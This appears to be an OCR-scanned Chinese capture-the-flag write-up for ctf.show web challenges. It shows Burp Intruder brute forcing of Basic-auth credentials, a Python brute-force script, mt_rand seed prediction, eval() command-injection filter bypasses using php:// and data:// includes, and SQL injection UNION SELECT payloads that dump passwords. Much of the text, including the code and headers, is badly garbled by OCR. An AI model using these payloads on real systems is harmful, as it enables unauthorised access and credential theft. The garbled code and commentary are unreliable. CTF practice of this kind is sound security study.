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[ Dashboard TTargel I Proxy T Intruder T Repeater I Sequencer T Decoder T Comparer T Extender I Project options I User options

T

J Intercept I HTTP history IWehSockets history I Options ]

/ Request to http://Tbfc1cb5-875f43c6-94aa-fT1f94a7b6d2.challenge.ctf. show:8080 [121.4.185.130]
l Forward J { Drop J | Intercept is on Action

i [ Raw | Params | Headers | Hex

24O

GET / HTTP/Ll.l

Host: Thfclch5-875f-43cé-84aa-£71f94a7hédl .challenge.ctf.show: 8080

Cache-Control: max-age=0

Authorization: Basic YWRtaWdedGVzdi==

Upgrade-Insscure-Requestcs: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0:; Wingé4: x€4) AppleWebKit/537.3€ (EHTML, like Gecko) Chromes/B8.0.4389.90 Safari/537.3¢€ Edg/B89.0.774.57
Acecept: text/html,application/xhtml+xml, application/xml;q=0.9, image/webp, image/apng, */ *;g=0.8,application/signed-exchange ;v=b3:q=0.9
hccept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;g=0.7,en-U3;q=0.&

Cookie: _ cfduid=dZ04alabbBl469a8272E=ch0927EE28CcE1E1E059232

Connection: close
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Authorization: Basic YWRtaWdedGVzdi==
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Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full details.
Attack type: | Sniper 'J
GET / HTTP/L.1 A
Host: 7hfclch5-875f-43cé-84aa-£71f94aThédl . challenge.ctf.show: 8080 r
Cache-Control: max—age=0
Authorization: Basic YWRtaW4e,
Upgrade-Insscure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT LD.0:; Winé4: x€4) AppleWebKit/537.3€ (EHTHL, like Gecko) Chrome/29.0.43859.90 Safari/537.3& Edg/B89.0.774.57
koeept: text/html,application/xhtml+xml, application/xml;q=0.9, image/webp, image/apng, */ *: q=0.8, application/signed-exchange ;v=b3;q=0.9
Aecept-Encoding: gzip, deflate
Accept-Language: h-CHN, zh; q=0.9,en;q=0.8,en-GB;q=0.7,en-U3;g=0. &
Cookie: _ cfduid D4aZabbEl4aegal EEZBcElELlEOS9Z3Z
Connection: close
E|
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¥
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L 1 payload position Length: 640
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Start attack |

Add § |
Clear § |
Auto § |

Refresh |

Clear
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[Target TPosmons TPaonads IOpﬂons ]
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This payload type lets you configure a simple list of strings that are used as payloads.

[ Paste || 575783 ~
| Load ... | LI
‘ " | qoooo
| Remove | 000000
—— | 0ooooooo
| Clear | |g0o0001 -
| Add |E'—'-.' ew iten
[ Add from list I 7

. You can define rules to perform various processing tasks g each payload before it is used.

| Add |Enab\ed Rule
o] Baseb4-encode

| Edit |
E | Remove |
Y

| Down |




Attack Save Columns

Results T Target I Positions T Payloads I Options ]

Filter: Showing all items

Request | Payload | Status |Error | Timeout | Length & | Comment
4080 c2hhems2Mw== 200 228
40 304
IUAMCVelio= 401 304
JCQkJA== 40 304
KiogKiog 401 304
LiduLg== 40 304
LjU3NTcdMyd= 401 304
MDAwWMA== 40 304
MDAwWMD Aw 401 304
MDAwWMDAWMDA= 40 304

[mmmmhmm_uc:

Request | Response W

J FiawI Headers I Hex I Render ]

HTTF/1l.1 200 OK

Content-Type: text/html; charset=utf-8
Date: Fri, Z6 Mar 2021 13:01:41 GMT
Server: nginx/l.16.1

¥-FPowered-By: PHF/7.3.11
Content-Length: 45

Connection: close

ctfshow{lcetbfaB-93ec-4T4dc-a645-1ceddlba%9232}
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Finished ! PnlP:L:'l-HP:|l-:'-I-l-:'.l'r!l-rltmhgl—:.'-?-'ﬁrr-:hﬁ|
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@ Payload Encoding

This setting can be used to URL-encode selected characters within the final payload, for safe transmission within HTTP requests.

[] URL-encode these characters: | fi=<>7+&" "~

5 Hpythonfil 4



import time
import requests

import base64

) as f:
while True:
data f.readline()
if data:
password.append(data)
else:

break

for p in password:
strs pl:-1]
header={
(base64.b64encode(strs.encode( )) .decode(
)i
rep =requests.get(url,headers=header)
time.sleep(0.2)
if rep.status_code 200:
print(rep.text)
break
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error_reporting(9);

include( )
if(isset($_GET[ 1)){
$token = md5($_GET[ 1);
if(substr($token, 1,1) substr($token, 14,1) substr($token, 14,1) substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)
intval(substr($token, 31,1))){
echo $flag;

KEEAE T Xt tokenHI 36 E

1 X token#E 4T md5 % 2 J5 #E4T B

2.tokenfI 12060 1542 F117 4706 FiAH [F)
BWRHEN(G_2+$_15+$_17)/$_ 2===9_32
BRAVT B G R X A4 ImdS, REES B4R




import hashlib
dic
for a in dic:
for b in dic:
t (€)) ()
md5 hashlib.md5(t.encode( )) .hexdigest()
if md5[1:2] md5[14:15] md5[14:15] md5[17:18]:
if md5[31:32]
print(t)
print(md5)
print(md5[1:2])
print(md5[14:15])
print(md5[17:18])

£ N Token=3jE[ A
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error_reporting(0);
include( );
if(isset($_GET[ 1)){
$r = $_GET['r'];
mt_srand(372619038);
if(intval($r) intval(mt_rand())){
echo $flag;
}
}else{
highlight file(__ FILE_ );
echo system(

¥R EImt_srand ()RR IR, 7T ASHIX B L ERE
phpBEHL & Bimt_rand ()= 42 1 /) 1a) 8 K IR
BRAVIE B L MiEseed ME, BRAVIZ IR BT, ST, X BAMHHEANELKPHPARADIZAT R i

BFEENe)  ERKE  EASE(Embed) B HI(Ru)

;: p!ﬁand(i - 903 1155388967<br/>125197722<br/>1461103528<br / >623173601<br/ >79964459<br/ >1320715033<br / >224702277<br/ >1537066672<br/>1454359565< b/ >
o mt_r sandbox> exited with status @

mt_rand()."

mt_rand()."

mt_rand(}."
mt_rand()."
mt_rand()."
mt_rand(}."
mt_rand()."
>

https://blog.csdn.net/qq_43391509
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https://blog.51cto.com/12332766/2320416

echo mt_rand (). “<br />
echo mt_rand (). “<br />
echo mt_rand (). “<br />
echo mt_rand (). “<br /57
i
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B Intruder attack 4

Attack Save Columns

J Results TTarget I Positions T Payloads I Options ]

Filter: Showing all items

Reguest | Response }

Request 4 | Payload | Status | Error | Timeout | Length | Comment |
0 200 LJ [J 182
1 1155388967 200 J ] 228
2 125197722 200 LJ [J 182
3 1461103528 200 J J 162
4 623173601 200 LJ [J 182
5 79064459 200 J J 162
6 1320715033 200 LJ [J 182
7 224702277 200 J J 162
8 1637066672 200 LJ [J 182
9 1454359565 200 J J 162

J Raw T Headers I Hex I Render ]

HTTF/Ll.1 Z00 QK

Content-Type: text/html; charsst=UTF-&
Date: Fri, Z& Mar Z0Z1 14:18:34 GMNT
Server: nginx/l.16.1

¥-Powered-By: PHP/7.3.11
Content-Length: 45

Connection: close

ctfshow{9cBeBef5-9703-4205-850d-92cT796960657 }
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<?php
error_reporting(9);
)
D
$_GET[ 1;
mt_srand(hexdec(substr(md5($flag), 0,8)));
$rand intval($r)-intval(mt_rand());
if((!$rand)){
if($_COOKIE[ J==(mt_rand()+mt_rand())){

echo $flag;

1
J

}else{
echo $rand;
1
J
}else{
highlight file(_ FILE_);

echo system(

AET, HEH,
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function check(){

$.ajax({

url:

type:

dataType:

data:{
15 ( .val(),
15 ( .val(),
15 ( .val(),
15( .val(),

15( ).val()
¥
success:function(data){

alert(data[ 1);
¥
error:function(data){

alert(data[ 1;

Cp O] == =Hs Bl [E HackBar Bz f & - X

LOAD SPLIT EXECUTE TEST -~ SQLl -~ X888 -

http://286b799c-a28c-4752-8182-
7d61bce19318.challenge.ctf.show:8080/checkdb.php

a=&p=&d=&u=&pass=

web27
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J {Dashbnard TTarget I Proxy | Intruder TRepeater I Sequencer TDecnder TCnmparer TExtender I Project options I User options

Imm—n .

[Targel TPUsmuns I Payloads I Options ]

Y
® Start attack | I
You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, and each payload
type can be customized in different ways.

Payload set: \ 1 B Payload count: 44,281
Payload type: ‘ Dates - Request count: 16,472,632

n This payload type generates date payloads within a given range and in a specified format.

Fom: |1 | [Januay  |v| [1900
Too |27 | [March |v] 2021
Step: |1 | Days -
Format O [21327 =
@ | yyyyMMdd
Example: 20210327

You can define rules to perform various processing tasks on each payload before it is used.

l Add |Enab\ed Rule

u Edit _|
Remove |

LY J

oa= L T T J




B Intruder attack 6

Attack Save Columns

I -

J Results TTarget I Positions T Payloads I Options ]

7| Filter: Showing all items ®
] Reguest | Payload! Payload2 Payload3 Status Error Timeout | Lengtt
4543 2020 10 12 404 [ [ 15891 &
33 19590 02 01 200 ] ] 379
LR 200 [ L 2M
111 19490 01 01 200 L ] 24
|l 2 1991 01 01 200 [ L 2M
3 1992 01 01 200 ] [ 2M
| 4 1993 01 01 200 [ L 2M
5 1994 01 01 200 ] [ 2M
6 1994 01 01 200 ] [ 21 h-'
:(\ anne A A Ann J g

Reguest | Response }

J Raw T Headers I Hex ] Render ]

|HTTP/1.1 200 CK

"
Content-Type: text/html; charsst=UTF-& F
Date: Sat, Z7 Mar Z0Z1 08:45:28 GMNT

T Server: nginx/l.16.1
¥-Powered-By: PHP/7.3.11

~ Content-Length: 185
Connection: close
{"0":"success","msqg" : "\u606d\us59c\ubfas\uff0c\us0asd\uidi2\usdgab\u6211\u6821 \udE55\ui3dé \uf£0c\udf60
\u7684\u5b66\u53fT\nde3ad2015237 \u521d\u5%ch\uSbc6\u7sdol\udeda\udeab\udefd\udbel\us53£7\u7s01"}

-
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[Target TPosmons TPayluads IOpﬂons ]

=i

@

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full details.

Attack type: | Cluster bomb

Start attack |

GET /S0§/§1§/ HTTP/1.1

Host: 507=87dc-1l=64-49c3-0€4b-€62627d95k0ct. . challenges.ctf.show: 8080
Pragma: no-cachs

Cache-Control: no-cache

Upgrade-Insscure-Requests: 1

Accept: text/html,application/xhtml+xml, application/xwl;q=0.9, images/wshp, imags/apng, */ *;g=0.8, application/signsd-exchangs;v=b3;q=0.9
Referer: http://507287dc-1264-49c3-864b-E62€27d95b0cE. challenge. ctf. show: 8080/

Adccept-Encoding: gzip, deflate

Acecept-Language: zh-CM, zh;g=0.9,en;q=0.8,en-GB;g=0.7,en-US;q=0.&

Cookie: _ cfduid=d204aZabbB814£59a82726=eh08276£28cE1E16059232

Connection: close

k| Add§ |
Clear § ‘

User-Agent: Mozilla/5.0 (Windows MNT 10.0; Wing4; x64) AppleWebKit/537.3& (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Edg/89.0.774.57 Auto § ‘

Refresh |

@ [=ll+][=]|m

2 payload positions

k|
0 matches Clear |

Length: 703

B 3flag

ruder attack 7

I o= 11

Attack Save Columns

J Results TTarget I Positions T Payloads I Options ]

Filter: Showing all items

Request | Payload? | Payload?2 | Status & | Error | Timeout | Length | Comment
2093 72 20 200 L Ll 228 A
101 100 0 302 L Ll 208 ) -
202 100 1 302 L Ll 208
303 100 2 302 L Ll 208
404 100 3 302 L Ll 208
505 100 4 302 L Ll 208
606 100 5 302 L Ll 208
o7 100 6 302 L Ll 208
808 100 7 302 L Ll 208 E
:r( 1nn o ann — — Ann T
Reguest | Response }
J Raw T Headers I Hex I Render ]
|HTTP/1.1 Z00 OK "
-

Content-Type: text/html; charsst=UTF-&
Date: Zat, Z7 Mar Z0Z1 09:03:24 GMT

“|server: nginx/Ll.1l6.1

¥-FPowered-By: PHF/7.3.11
Content-Length: 45
Connection: close

ctEfshow{bh713349d-f6la-4424-h26Ff-1dc3df122d1F}
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2249 of 10201 | ! |

error_reporting(9);
if(isset($_GET[ )

$c = $_GET[ 15
if(!preg_match(
eval($c);

}else{
highlight_file(_ FILE_ );

AR EAREFflag, 7 LLEHE ST

c=system( );

web30

error_reporting(9);
D)
1
if(!preg_match(
eval($c);

}else{
highlight file(__ FILE_);

fsystemFlphpthid 38 T, A 17T LA echo B Bt )k 51 5 ket i 38
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error_reporting(9);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match(
eval($c);

}else{

highlight file(__ FILE_ );




T IENE, KBRS T % Mcat
FElinuxH 5 catf RAUTHRERI A W0 T F4F

cat. tac. more. less. head. tail. nl. sed. sort. uniqg. rev

FH AT AR IR AR

%09 (tab). $IFS$9. ${IFS}. $IFS%09(tab)- N . %20 (space)
TERS IR X

Bt CAZRATT AT BAA i
web32

error_reporting(0);
if(isset($_GET] DDA
$c = $_ GET['c'];
if(!preg_match(
eval($c);

}else{

highlight file(__ FILE_ );

HEEFL. .  WTFER, BHHRRLER

RIG EEAK
®JEE Twp, Hincludefd & Hisk

c=include$ GET[ 1?>&url=php:

FHT. o oo
XA FERD

BEHLABLFEECE
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error_reporting(9);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match(
eval($c);

1
J

}else{
highlight file(_ FILE_);

!

J

ZdyE TME 5, FZETKpayload, X5 SHAT T

c=include$ GET[url]?>&url=php:

web34

ZHETES. . BHRAEW, HIZEMZH Kpayload

error_reporting(0);
if(isset($_GET] DDA
$c = $_GET[ 1
if(!preg_match(
eval($c);
}

}else{
highlight_file(__ FILE_ );
}

web35

E<M=thid I T

error_reporting(0);

if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match(

eval($c);
s

}else{
highlight_file(__ FILE_ );

1
J

BERMEEW. . RITBEF=HM<. . . »
i Ul payload A~ 3%
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error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match(
include($c);
echo $flag;

1
J

}else{
highlight_file(_ FILE_ );

1
J

flagi R~ 7Eflag.php, iTJEH# T flag
{BRRAEF T include R & 34
188 F Z W WU EY, B A data 5 T A 28 S EPHPARRS k4T, BT DA Re {3 A shell

BB —MEERBSAN—aERD s EEElag, BIIZEESLHR
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error_reporting(9);
DX

15

if(!preg_match(

include($c);

echo $flag;

1
J

}else{
highlight file(__ FILE_);

1
J

A R —iE £ i i T phpFifile
Hdatathilbase64 5t B 7]
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B RBRATE LA T phpfRFS, LS T i.php £ B BT A htl 0T 10 1 Hh H 3
web40

sqliiE A

web171

REAKSQLIEN, EAMEMTIE
REEHEAPE, 2R RAHEREENER

union select 1,2,database()

union select 1,2,group_concat(column_name) from information_schema.columns where table_name

1' union select 1,2,group_concat(password) from ctfshow_user

web172
BiduE, EEE

' union select 1,group_concat(password) from ctfshow_user2

' union select 1,2,group _concat(password) from ctfshow_user3

web174
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